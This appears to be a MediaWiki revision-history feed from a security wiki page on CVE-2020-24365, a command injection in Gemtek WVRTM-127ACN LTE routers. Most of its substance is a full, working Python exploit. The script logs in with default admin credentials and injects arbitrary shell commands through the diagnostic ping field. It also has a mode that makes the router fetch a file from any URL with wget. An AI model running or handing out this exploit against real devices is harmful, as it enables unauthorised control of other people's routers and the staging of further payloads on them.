<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-24365_Gemtek_WVRTM-127ACN_01.01.02.141_%E7%B6%93%E9%81%8E%E8%AA%8D%E8%AD%89%E7%9A%84%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2020-24365 Gemtek WVRTM-127ACN 01.01.02.141 經過認證的命令注入漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2020-24365_Gemtek_WVRTM-127ACN_01.01.02.141_%E7%B6%93%E9%81%8E%E8%AA%8D%E8%AD%89%E7%9A%84%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-24365_Gemtek_WVRTM-127ACN_01.01.02.141_%E7%B6%93%E9%81%8E%E8%AA%8D%E8%AD%89%E7%9A%84%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T04:50:50Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-24365_Gemtek_WVRTM-127ACN_01.01.02.141_%E7%B6%93%E9%81%8E%E8%AA%8D%E8%AD%89%E7%9A%84%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=4993&amp;oldid=prev</id>
		<title>Pwnwiki: Marked this version for translation</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-24365_Gemtek_WVRTM-127ACN_01.01.02.141_%E7%B6%93%E9%81%8E%E8%AA%8D%E8%AD%89%E7%9A%84%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=4993&amp;oldid=prev"/>
		<updated>2021-06-13T01:51:53Z</updated>

		<summary type="html">&lt;p&gt;Marked this version for translation&lt;/p&gt;
&lt;table class=&quot;diff diff-contentalign-left diff-editfont-monospace&quot; data-mw=&quot;interface&quot;&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;col class=&quot;diff-marker&quot; /&gt;
				&lt;col class=&quot;diff-content&quot; /&gt;
				&lt;tr class=&quot;diff-title&quot; lang=&quot;chinese&quot;&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;← Older revision&lt;/td&gt;
				&lt;td colspan=&quot;2&quot; style=&quot;background-color: #fff; color: #202122; text-align: center;&quot;&gt;Revision as of 01:51, 13 June 2021&lt;/td&gt;
				&lt;/tr&gt;&lt;tr&gt;&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot; id=&quot;mw-diff-left-l1&quot; &gt;Line 1:&lt;/td&gt;
&lt;td colspan=&quot;2&quot; class=&quot;diff-lineno&quot;&gt;Line 1:&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt;−&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #ffe49c; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==影響版本==&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt;+&lt;/td&gt;&lt;td style=&quot;color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #a3d3ff; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;==影響版本== &lt;ins class=&quot;diffchange diffchange-inline&quot;&gt;&amp;lt;!--T:1--&amp;gt;&lt;/ins&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;/translate&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;td class='diff-marker'&gt; &lt;/td&gt;&lt;td style=&quot;background-color: #f8f9fa; color: #202122; font-size: 88%; border-style: solid; border-width: 1px 1px 1px 4px; border-radius: 0.33em; border-color: #eaecf0; vertical-align: top; white-space: pre-wrap;&quot;&gt;&lt;div&gt;&amp;lt;pre&amp;gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;

&lt;!-- diff cache key pwn_wiki:diff::1.12:old-4991:rev-4993 --&gt;
&lt;/table&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2020-24365_Gemtek_WVRTM-127ACN_01.01.02.141_%E7%B6%93%E9%81%8E%E8%AA%8D%E8%AD%89%E7%9A%84%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=4991&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;&lt;languages /&gt; &lt;translate&gt; ==影響版本== &lt;/translate&gt; &lt;pre&gt; Version: 01.01.02.127, 01.01.02.141 &lt;/pre&gt;  ==EXP== &lt;pre&gt; # Exploit Title: Gemtek WVRTM-127ACN 01.01.02.141 - Aut...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2020-24365_Gemtek_WVRTM-127ACN_01.01.02.141_%E7%B6%93%E9%81%8E%E8%AA%8D%E8%AD%89%E7%9A%84%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E&amp;diff=4991&amp;oldid=prev"/>
		<updated>2021-06-13T01:51:11Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;&amp;lt;languages /&amp;gt; &amp;lt;translate&amp;gt; ==影響版本== &amp;lt;/translate&amp;gt; &amp;lt;pre&amp;gt; Version: 01.01.02.127, 01.01.02.141 &amp;lt;/pre&amp;gt;  ==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Gemtek WVRTM-127ACN 01.01.02.141 - Aut...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&amp;lt;languages /&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==影響版本==&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
Version: 01.01.02.127, 01.01.02.141&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Gemtek WVRTM-127ACN 01.01.02.141 - Authenticated Arbitrary Command Injection &lt;br /&gt;
# Date: 13/09/2020                                         &lt;br /&gt;
# Exploit Author: Gabriele Zuddas                         &lt;br /&gt;
# Version: 01.01.02.127, 01.01.02.141                      &lt;br /&gt;
# CVE : CVE-2020-24365                                     &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Service Provider : 	Linkem&lt;br /&gt;
Product Name : 	LTE CPE&lt;br /&gt;
Model ID : 	WVRTM-127ACN&lt;br /&gt;
Serial ID :	GMK170418011089&lt;br /&gt;
IMEI : 	XXXXXXXXXXXXX&lt;br /&gt;
ICCID : 	XXXXXXXXXXXXXXXXXX&lt;br /&gt;
Firmware Version : 	01.01.02.141&lt;br /&gt;
Firmware Creation Date : 	May 15 13:04:30 CST 2019&lt;br /&gt;
Bootrom Version : 	U-Boot 1.1.3&lt;br /&gt;
Bootrom Creation Date : 	Oct 23 2015 - 16:03:05&lt;br /&gt;
LTE Support Band : 	42,43&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Injecting happens here:&lt;br /&gt;
&lt;br /&gt;
sh -c (ping -4 -c 1 -s 4 -W 1 &amp;quot;INJECTION&amp;quot; &amp;gt; /tmp/mon_diag.log 2&amp;gt;&amp;amp;1; cmscfg -s -n mon_diag_status -v 0)&amp;amp;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Exploit has been tested on older verions too:&lt;br /&gt;
    Firmware Version: 	01.01.02.127&lt;br /&gt;
    Firmware Creation Date : 	May 23 15:34:10 CST 2018&lt;br /&gt;
&lt;br /&gt;
&amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
&lt;br /&gt;
import requests, time, argparse, re, sys&lt;br /&gt;
&lt;br /&gt;
class Exploit():&lt;br /&gt;
    &lt;br /&gt;
    CVE = &amp;quot;CVE-2020-24365&amp;quot;&lt;br /&gt;
    &lt;br /&gt;
    def __init__(self, args):&lt;br /&gt;
        self.args = args&lt;br /&gt;
        self.session = requests.Session()&lt;br /&gt;
    &lt;br /&gt;
    def login(self):&lt;br /&gt;
        s = self.session&lt;br /&gt;
        r = s.post(f&amp;quot;http://{self.args.target}/cgi-bin/sysconf.cgi?page=login.asp&amp;amp;action=login&amp;quot;, data={&amp;quot;user_name&amp;quot;:self.args.username,&amp;quot;user_passwd&amp;quot;:self.args.password})&lt;br /&gt;
        if &amp;quot;sid&amp;quot; not in s.cookies:&lt;br /&gt;
            print(&amp;quot;[!] Login failed.&amp;quot;)&lt;br /&gt;
            exit(1)&lt;br /&gt;
        sid = s.cookies[&amp;quot;sid&amp;quot;]&lt;br /&gt;
        s.headers = {&amp;quot;sid&amp;quot;: sid}&lt;br /&gt;
        print(f&amp;quot;[*] Login successful! (sid={sid})&amp;quot;)&lt;br /&gt;
    &lt;br /&gt;
    def now(self):&lt;br /&gt;
        return int(time.time() * 1000)&lt;br /&gt;
&lt;br /&gt;
    def exploit(self, command):&lt;br /&gt;
        self.login()&lt;br /&gt;
        &lt;br /&gt;
        with self.session as s:&lt;br /&gt;
            payload = f&amp;quot;http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&amp;amp;action=save_monitor_diagnostic&amp;amp;mon_diag_type=0&amp;amp;mon_diag_addr=$({command};)&amp;amp;mon_ping_num=1&amp;amp;mon_ping_size=4&amp;amp;mon_ping_timeout=1&amp;amp;mon_tracert_hops=&amp;amp;mon_diag_protocol_type=4&amp;amp;time={self.now()}&amp;amp;_={self.now()}&amp;quot;&lt;br /&gt;
            &lt;br /&gt;
            r = s.get(payload)&lt;br /&gt;
            r = s.get(f&amp;quot;http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&amp;amp;action=diagnostic_tools_start&amp;amp;notrun=1&amp;amp;time={self.now()}&amp;amp;_={self.now()}&amp;quot;)&lt;br /&gt;
            content = str(r.content, &amp;quot;utf8&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
            #Attempt to stop the command as some commands tend to get stuck (if commands stop working check on the web interface)&lt;br /&gt;
            r = s.get(payload)&lt;br /&gt;
            r = s.get(f&amp;quot;http://{self.args.target}/cgi-bin/sysconf.cgi?page=ajax.asp&amp;amp;action=diagnostic_tools_start&amp;amp;notrun=1&amp;amp;time={self.now()}&amp;amp;_={self.now()}&amp;quot;)&lt;br /&gt;
            content = str(r.content, &amp;quot;utf8&amp;quot;)&lt;br /&gt;
            &lt;br /&gt;
            #TODO: eventually parse content with regex to clean out the output&lt;br /&gt;
            c = re.findall(r&amp;quot;(?&amp;lt;=ping: bad address \')(.*)(?=\')&amp;quot;, content)&lt;br /&gt;
            print(content)&lt;br /&gt;
            print(c[0])&lt;br /&gt;
            &lt;br /&gt;
            if len(c) &amp;gt; 0:&lt;br /&gt;
                return c[0]&lt;br /&gt;
            else:&lt;br /&gt;
                return False&lt;br /&gt;
&lt;br /&gt;
    def download_file(self, url):&lt;br /&gt;
        filename = url.rsplit('/', 1)[-1]&lt;br /&gt;
        &lt;br /&gt;
        if self.args.file is not None:&lt;br /&gt;
            print(f&amp;quot;[*] Attempting download of file '{filename}' from {url} ...&amp;quot;)&lt;br /&gt;
    &lt;br /&gt;
            if self.exploit(f&amp;quot;wget {url} -O /tmp/{filename}&amp;quot;):&lt;br /&gt;
                print(f&amp;quot;[*] File saved on {self.args.target}'s /tmp/{filename}.&amp;quot;)&lt;br /&gt;
                print(self.exploit(f&amp;quot;du -h /tmp/{filename}&amp;quot;))&lt;br /&gt;
                return True&lt;br /&gt;
            else:&lt;br /&gt;
                print(f&amp;quot;[!] Failed to download {filename} from {url}&amp;quot;)&lt;br /&gt;
                return False&lt;br /&gt;
&lt;br /&gt;
    def run(self):&lt;br /&gt;
        if self.args.command is not None:&lt;br /&gt;
            print(self.exploit(self.args.command))&lt;br /&gt;
            exit()&lt;br /&gt;
        if self.args.file is not None:&lt;br /&gt;
            self.download_file(self.args.file)&lt;br /&gt;
            exit()&lt;br /&gt;
&lt;br /&gt;
if __name__ == &amp;quot;__main__&amp;quot;:&lt;br /&gt;
    # Create the parser and add arguments&lt;br /&gt;
    parser = argparse.ArgumentParser()&lt;br /&gt;
    parser.add_argument(&amp;quot;-t&amp;quot;, &amp;quot;--target&amp;quot;, dest=&amp;quot;target&amp;quot;, default=&amp;quot;192.168.1.1&amp;quot;, help=&amp;quot;Vulnerable target&amp;quot;)&lt;br /&gt;
    parser.add_argument(&amp;quot;-u&amp;quot;, &amp;quot;--username&amp;quot;, dest=&amp;quot;username&amp;quot;, default=&amp;quot;admin&amp;quot;, help=&amp;quot;Valid username to use&amp;quot;)&lt;br /&gt;
    parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--password&amp;quot;, dest=&amp;quot;password&amp;quot;, default=&amp;quot;admin&amp;quot;, help=&amp;quot;Valid password to use&amp;quot;)&lt;br /&gt;
    parser.add_argument(&amp;quot;-c&amp;quot;, &amp;quot;--command&amp;quot;, dest=&amp;quot;command&amp;quot;, default=None, help=&amp;quot;Command to execute&amp;quot;)&lt;br /&gt;
    &lt;br /&gt;
    parser.add_argument(&amp;quot;-D&amp;quot;, &amp;quot;--download-file&amp;quot;, dest=&amp;quot;file&amp;quot;, default=None, help=&amp;quot;Download file on target's /tmp directory&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    args = parser.parse_args()&lt;br /&gt;
&lt;br /&gt;
    # Run exploit&lt;br /&gt;
    X = Exploit(args)&lt;br /&gt;
    if len(sys.argv) &amp;gt; 1:&lt;br /&gt;
        print(f&amp;quot;[*] Exploiting {X.CVE} ...&amp;quot;)&lt;br /&gt;
        X.run()&lt;br /&gt;
    else:&lt;br /&gt;
        parser.print_help(sys.stderr)&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>